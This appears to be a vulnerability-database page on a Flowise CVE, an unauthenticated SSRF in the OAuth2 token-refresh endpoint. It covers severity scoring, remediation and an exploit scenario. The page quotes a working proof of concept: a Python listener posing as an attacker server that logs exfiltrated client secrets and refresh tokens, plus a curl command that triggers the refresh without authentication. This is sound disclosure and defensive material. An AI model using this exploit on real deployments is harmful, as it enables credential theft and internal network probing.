Skip to main content

Flowise EUVDEUVD-2026-52698

| CVE-2026-69250 HIGH
Authorization Bypass Through User-Controlled Key (CWE-639)
2026-08-04 https://github.com/FlowiseAI/Flowise GHSA-r745-8hwv-h473
8.5
CVSS 4.0 · Vendor: https://github.com/FlowiseAI/Flowise
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Authenticate as Flowise user
  2. Delivery
    Create OAuth2 credential with malicious accessTokenUrl
  3. Exploit
    Obtain credential UUID
  4. Execution
    Send unauthenticated POST to /api/v1/oauth2-credential/refresh/:credentialId
  5. Persist
    Server POSTs OAuth2 secrets to attacker host
  6. Impact
    Read reflected response for SSRF data or exfiltrated credentials

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A01:2025 - Broken Access Control
ASVS 5.0
V8 - Authorization Object-level authorization, IDOR prevention
Exploitation Conditions

Setup phase requires an authenticated Flowise user with permission to create or update OAuth2 credentials; this is a standard user-level capability, not an admin-only function. The trigger phase (the actual SSRF) requires only knowledge of a valid credential UUID - no authentication, no session token, and no special headers. The credential UUID is a version-4 UUID (128-bit), making brute-force impractical but not infeasible if the UUID was ever logged, shared in a URL, or leaked through another vector. The endpoint must be network-reachable to the attacker; in deployments where Flowise is internet-facing, this means the trigger is globally reachable. The Flowise instance must have at least one OAuth2 credential configured with a URL controllable by the attacker. Exploitation is limited by: (1) the attacker's ability to obtain a credential UUID without auth, and (2) network egress controls that may block outbound requests to arbitrary external hosts.

Impact

Real-world risk is high for organizations running Flowise with OAuth2 integrations and network egress to internal services. The attack is a two-actor chain: an authenticated user must first create or control an OAuth2 credential with a malicious accessTokenUrl, after which any unauthenticated party who obtains the credential UUID can trigger the SSRF. UUID enumeration or insider threat is the realistic prerequisite for the unauthenticated phase. No CVSS score was provided by NVD at time of analysis, so CVSS metrics are analyst-assessed rather than vendor-confirmed. No EPSS score was available. The vulnerability is not listed in CISA KEV, so active exploitation in the wild is unconfirmed, though the detailed PoC lowers the exploitation barrier significantly. The non-blind SSRF with secret exfiltration is a particularly severe impact because it combines credential theft with internal network probing in a single request. The impact is bounded by network egress controls: in air-gapped or egress-filtered deployments the SSRF reach is limited, but cloud deployments with access to metadata endpoints (e.g., AWS IMDSv1 at 169.254.169.254) face elevated lateral movement risk.

Exploit ScenarioDerived

An insider or compromised authenticated user creates an OAuth2 credential in Flowise with accessTokenUrl set to an attacker-controlled HTTPS endpoint and stores the resulting credential UUID. The attacker then sends an unauthenticated HTTP POST to /api/v1/oauth2-credential/refresh/<UUID> from any network-reachable host. Flowise decrypts the credential, constructs an OAuth2 refresh request body containing client_id, client_secret, grant_type=refresh_token, and refresh_token, and POSTs it to the attacker's server; the attacker server logs the secrets and returns a crafted JSON body that Flowise reflects verbatim in the tokenInfo field of the API response. A full working PoC script demonstrating this flow is included in the GHSA advisory.

This Week Schedule remediation this week. Why: HIGH severity (CVSS 7.0-8.9).
Patch available 0.3% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Aug 04, 2026

Unauthenticated SSRF with non-blind response reflection and OAuth2 secret exfiltration in Flowise affects all versions through 3.1.2. The OAuth2 token refresh endpoint is intentionally whitelisted from authentication but issues server-side HTTP POST requests to a credential-stored URL without SSRF controls, allowing any caller who knows a credential UUID to redirect the server to an attacker-controlled host and receive the full response body. A working proof-of-concept was confirmed against the flowiseai/flowise:latest container, with the exploit also exfiltrating client_secret and refresh_token values in the outbound POST body to the attacker server. No public exploit is independently confirmed as widespread, but the PoC is detailed and functional.

RemediationAI

Upgrade Flowise to version 3.1.3 or later, which introduces URL validation via validateOAuth2Url() and replaces the unprotected axios.post() with the secureAxiosRequest() wrapper in the OAuth2 refresh and callback handlers. The patch is confirmed at commit da8b251a9a4c59484ceaf6f71df7406aede7bef2 (https://github.com/FlowiseAI/Flowise/commit/da8b251a9a4c59484ceaf6f71df7406aede7bef2) and tagged in the flowise@3.1.3 release. After upgrading, set the environment variable OAUTH2_SECURITY_CHECK=true to enable domain validation, and populate OAUTH2_ALLOWED_TOKEN_DOMAINS with a comma-separated allowlist of legitimate OAuth2 provider domains (e.g., accounts.google.com,login.microsoftonline.com). If immediate upgrade is not possible, restrict network egress from the Flowise container to known OAuth2 provider IP ranges and block access to internal metadata endpoints such as 169.254.169.254; this does not prevent credential exfiltration to external attacker servers but limits lateral movement. Alternatively, place an authenticating reverse proxy in front of /api/v1/oauth2-credential/refresh to enforce authentication on that prefix, restoring the intent of the whitelist bypass. Note: the whitelist string-prefix match is a structural flaw - removing the route from the whitelist without re-evaluating OAuth2 callback flows may break legitimate callback handling.

Affected VersionsENISA

Flowise < 3.1.3

Affected Packages

npm flowise fix: 3.1.3

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in npm

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

Flowise is an open-source Node.js/TypeScript LLM orchestration platform (npm package flowise, CPE pkg:npm/flowise). The vulnerable path is the OAuth2 credential refresh handler in dist/routes/oauth2/index.js. The route prefix /api/v1/oauth2-credential/refresh is string-prefix matched against the public whitelist in dist/utils/constants.js, causing the auth middleware (startsWith check) to pass all requests under that prefix, including /refresh/:credentialId. The handler decrypts the stored credential using the database-backed credentialId, reads accessTokenUrl, and invokes axios.post(tokenUrl, ...) directly without using the application's secureAxiosRequest() wrapper or any URL denylist. The root cause is classified as CWE-639 (Authorization Bypass Through User-Controlled Key) because the credentialId UUID is the sole gate for the unauthenticated trigger; however, the exploitation mechanism is fundamentally SSRF (CWE-918), compounded by full response body reflection (non-blind) and secret forwarding. The fix in 3.1.3 introduces validateOAuth2Url() with domain allowlisting (OAUTH2_ALLOWED_TOKEN_DOMAINS) and replaces the bare axios.post() call with secureAxiosRequest() from the flowise-components package.

Know when the next one hits your stack

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (https://github.com/FlowiseAI/Flowise) PRIMARY 8.5 HIGH
CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N
vuln.today AI 7.7 HIGH

PR:L because setup requires authenticated credential creation; S:C and C:H for SSRF reaching internal networks and full OAuth2 secret exfiltration; no integrity or availability impact.

3.1 AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N
4.0 AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:L/SI:N/SA:N

Primary rating from Vendor (https://github.com/FlowiseAI/Flowise).

CVSS VectorVendor: https://github.com/FlowiseAI/Flowise

Attack Vector
Network
Attack Complexity
Low
Attack Requirements
None
Privileges Required
High
User Interaction
None
Vulnerable system: Confidentiality
High
Vulnerable system: Integrity
High
Vulnerable system: Availability
None
Subsequent system: Confidentiality
None
Subsequent system: Integrity
None
Subsequent system: Availability
None

DescriptionCVE.org

Summary

The OAuth2 token refresh endpoint (POST /api/v1/oauth2-credential/refresh/:credentialId) is unauthenticated by design (it is in the public whitelist) and performs a server-side HTTP request to a credential-controlled URL (accessTokenUrl) without SSRF protections. In runtime validation, this endpoint was reachable without auth, triggered outbound POST requests to an attacker-controlled server, and reflected the full remote response body to the caller (tokenInfo), confirming non-blind SSRF and credential secret exfiltration.

Details

The vulnerability is in dist/routes/oauth2/index.js (container runtime build), under path prefix /api/v1/oauth2-credential.

Confirmed in runtime code:

  1. Unauthenticated route via whitelist
  • dist/utils/constants.js includes:
  • /api/v1/oauth2-credential/callback
  • /api/v1/oauth2-credential/refresh
  • dist/index.js auth middleware uses:
  • const isWhitelisted = whitelistURLs.some((url) => req.path.startsWith(url))
  • Therefore /api/v1/oauth2-credential/refresh/:credentialId is treated as whitelisted.
  1. User-controlled SSRF target
  • In refresh handler (dist/routes/oauth2/index.js):
  • loads credential by credentialId
  • decrypts credential data
  • reads accessTokenUrl
  • executes:
  • axios.post(tokenUrl, new URLSearchParams(refreshRequestData).toString(), ...)
  • No secureAxiosRequest() / denylist wrapper is used in this path.
  1. Non-blind response reflection
  • Response returns:
  • tokenInfo: { ...tokenData, ... }
  • tokenData is the attacker/internal server response body.
  1. Secrets sent to SSRF target
  • Request body includes:
  • client_id
  • client_secret
  • grant_type=refresh_token
  • refresh_token

PoC

Environment used
  • flowiseai/flowise:latest container (localhost:3000)
  • Attacker server (localhost:18081) returning JSON
Step 1: Start attacker server
bash
python3 -u - <<'PY'
from http.server import BaseHTTPRequestHandler, HTTPServer
import json

class H(BaseHTTPRequestHandler):
    def do_POST(self):
        l = int(self.headers.get('Content-Length','0'))
        b = self.rfile.read(l).decode('utf-8', errors='replace')
        print('REQUEST_PATH', self.path, flush=True)
        print('REQUEST_BODY', b, flush=True)
        self.send_response(200)
        self.send_header('Content-Type','application/json')
        self.end_headers()
        self.wfile.write(json.dumps({'ok': True, 'source': 'attacker-server', 'echo_len': len(b)}).encode())
    def log_message(self, fmt, *args):
        pass

HTTPServer(('0.0.0.0', 18081), H).serve_forever()
PY
Step 2: Create OAuth2 credential with attacker accessTokenUrl (authenticated action)

In validation, this was done via authenticated API path (credential creation requires auth/permissions), then refresh was tested publicly.

Resulting credential ID used in runtime validation:

  • 24c0b18b-ff6e-4d81-a9a7-26ea8ddccdef
Step 3: Trigger refresh without auth
bash
curl -i -X POST \
  http://127.0.0.1:3000/api/v1/oauth2-credential/refresh/24c0b18b-ff6e-4d81-a9a7-26ea8ddccdef \
  -H 'Content-Type: application/json' \
  -d '{}'

Observed response:

json
{
  "success": true,
  "message": "OAuth2 token refreshed successfully",
  "credentialId": "24c0b18b-ff6e-4d81-a9a7-26ea8ddccdef",
  "tokenInfo": {
    "ok": true,
    "source": "attacker-server",
    "echo_len": 76,
    "has_new_refresh_token": false
  }
}

Attacker server logs captured:

text
REQUEST_PATH /token
REQUEST_BODY client_id=cid2&client_secret=csec2&grant_type=refresh_token&refresh_token=r2

This confirms:

  • unauthenticated trigger,
  • server-side POST to attacker-controlled URL,
  • exfiltration of OAuth2 secrets in POST body,
  • full response reflection to client (tokenInfo).

Impact

  • Vulnerability class: Non-blind SSRF + sensitive secret exfiltration.
  • Who can set up attack: Any authenticated user who can create/update OAuth2 credentials.
  • Who can trigger attack: Anyone who knows a valid OAuth2 credential UUID (refresh endpoint is public/whitelisted).
  • Technical impact:
  • outbound SSRF to attacker/internal targets,
  • direct leak of client_secret and refresh_token to SSRF target,
  • direct response read from target via API response (tokenInfo).
  • Deployment impact:
  • cloud/internal network reachability can expose metadata/internal services depending on egress controls.

Executive ViewAI

Why It Matters

Flowise versions through 3.1.2 contain an unauthenticated Server-Side Request Forgery (SSRF) vulnerability in the OAuth2 token refresh endpoint with publicly available exploit code, allowing attackers to exfiltrate sensitive OAuth2 credentials including client secrets and refresh tokens. Organizations deploying Flowise with active OAuth2 integrations face immediate credential compromise and potential lateral movement into integrated systems.

Business Impact: High
Compensating Controls

Apply vendor patch.

Threat Intelligence Overview

EPSS Score
0.3%
Top 73% exploitable
Prevalence
Medium
popular open-source LLM workflow builder, growing AI developer adoption
Threat Intel
1
1 sources
Exploit
POC
Public exploit code exists
Data Quality
7 sources
Confidence: High
EUVD 🇯🇵JVN NVD CVE.org EPSS Vulnrichment GHSA GitHub VulDB

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity HIGH
CISA KEV No
Public POC Yes
EPSS 0.3%
Patch available Yes
Active threat No
Deciding rule
HIGH severity (CVSS 7.0-8.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision
Scheduled
Exploitation
Poc
System Exposure· derived
Open
Automatable
No
Human Impact
High
Technical Impact
Total

Priority Score

62
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +42
PoC: +20
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Server-Side Request Forgery exploits applications that fetch remote resources based on user-supplied URLs.

Authentication bypass attacks exploit flaws in the verification mechanisms that control access to systems and applications.

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy